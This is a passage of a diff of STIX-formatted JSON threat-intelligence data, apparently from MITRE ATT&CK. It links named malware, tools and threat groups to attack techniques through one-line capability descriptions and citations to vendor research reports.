APT29", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) writes collected data to a temporary file in an encrypted form before exfiltration to a C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a1dc7c15-bd44-43b3-a32b-8e4ea9856758", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to search for a given filename on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ccb67d98-71d6-4a26-86b6-281174ca07b0", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "source_name": "Zscaler Kasidet", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may use WMI when collecting information about a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--35419603-7bc2-40f6-8e5d-4e7a8f13ebb7", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) uses cloud based services for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2b789109-44c7-4195-8df8-50b1e09b1a69", + "source_ref": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) contains a keylogger.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3ef89472-470c-42c9-be01-155efe607b78", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", + "source_name": "FireEye Poison Ivy", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" + }, + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) has commands to list drives on the victim machine and to list file information for a given directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ed8b5029-835d-492c-a1f4-10ccbf084a76", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "source_name": "Palo Alto DNS Requests", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--cde73e1c-da81-4673-a161-49693b45cd48", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.601Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + }, + { + "description": "Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017.", + "source_name": "Secureworks Cobalt Gypsy Feb 2017", + "url": "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations" + }, + { + "description": "Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.", + "source_name": "SecureWorks Mia Ash July 2017", + "url": "https://www.secureworks.com/research/the-curious-case-of-mia-ash" + }, + { + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "source_name": "FireEye APT35 2018", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has sent spearphishing emails with attachments to victims as its primary initial access vector.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e797fcd8-4ad6-43d3-a36a-3c05d0ce8832", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.200Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Forfiles](https://attack.mitre.org/software/S0193) can be used to locate certain types of files/directories in a system.(ex: locate all files with a specific extension, name, and/or age)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9e235097-0a3a-410f-b3a1-ec50ea910d47", + "source_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent Word OLE compound documents with malicious obfuscated VBA macros that will run upon user execution and executed JavaScript scriptlets on the victim's machine. The group has also used an exploit toolkit known as Threadkit that launches .bat files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7d115073-c008-4394-867d-07c385d3db87", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:34.051Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + }, + { + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "source_name": "Morphisec Cobalt Gang Oct 2018", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + }, + { + "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.", + "source_name": "Unit 42 Cobalt Gang Oct 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Crimson](https://attack.mitre.org/software/S0115) uses a custom TCP protocol for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3297e12f-85de-4630-926a-cddc54964880", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) has sent a C2 response that was base64-encoded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--801f139f-1361-4d79-965e-078787f8ec36", + "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) uses HTTP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--895fbe96-6990-4ebd-a192-1653eb31a1ba", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) has a command to delete a file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.437Z", + "id": "relationship--ba8900d2-1a18-4f44-916d-08b93dc74d9c", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.154Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can add the binary\u2019s path to the Registry key Software\\Microsoft\\Windows\\CurrentVersion\\Run to add persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--64d59c09-1ecd-4711-b2b8-e46d4ffc7ede", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.361Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[ChChes](https://attack.mitre.org/software/S0144) steals credentials stored inside Internet Explorer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9bc7f2ff-7ba1-42f4-9e96-2112e99ab12a", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Remcos](https://attack.mitre.org/software/S0332) has a command to hide itself through injecting into another process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.757Z", + "id": "relationship--54e70260-cbf3-4c6b-bd30-208329cfef26", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:53.059Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "source_name": "Fortinet Remcos Feb 2017", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can launch a remote shell to execute commands on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.633Z", + "id": "relationship--fcc2cf31-8567-4c2a-a7cf-7406da429ac2", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.613Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Carbon](https://attack.mitre.org/software/S0335) encrypts configuration files and tasks for the malware to complete using CAST-128 algorithm.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.820Z", + "id": "relationship--aac99c91-e1b1-42c0-8a13-f166027d5168", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.644Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Epic](https://attack.mitre.org/software/S0091) searches for anti-malware services running on the victim\u2019s machine and terminates itself if it finds them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.263Z", + "id": "relationship--d2f6e1bf-49ae-48cb-a919-b556f8cd0553", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:42.950Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) sent spearphishing emails that contained malicious Microsoft Office attachments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:17:49.311Z", + "id": "relationship--0be962d8-6281-4554-ad1f-4cba04c547de", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.214Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + }, + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + }, + { + "description": "Alexander, G., et al. (2018, August 8). Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces. Retrieved June 17, 2019.", + "source_name": "CitizenLab Tropic Trooper Aug 2018", + "url": "https://citizenlab.ca/2018/08/familiar-feeling-a-malware-campaign-targeting-the-tibetan-diaspora-resurfaces/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain information about running processes on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--61fa303b-a9ff-419f-b3ac-96e43e37b6e5", + "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can discover and collect victim system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e2e35a7a-3057-4955-9e7e-c3972e0ad423", + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", + "source_name": "McAfee Netwire Mar 2015", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses the Windows API call, CreateProcessW(), to manage execution flow.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2af126e3-89ef-45b4-b345-45567ef17dfa", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.695Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[SDelete](https://attack.mitre.org/software/S0195) is digitally signed by Microsoft.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c9e726b6-61c2-4b18-8770-126be9cd1870", + "source_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "modified": "2019-04-24T00:37:08.750Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.", + "source_name": "Microsoft SDelete July 2016", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "Some [Orz](https://attack.mitre.org/software/S0229) strings are base64 encoded, such as the embedded DLL known as MockDll.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--fa6f0d89-8a80-421b-bcb1-ef5ee31f0879", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "modified": "2019-09-16T18:01:16.151Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant encodes C2 POST data base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--27e7969b-a0bf-4db6-90bf-1f17c5e0c853", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.308Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to gather the system\u2019s hostname and OS version.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--90355089-e793-4a6a-98b4-c1f20322a98f", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + 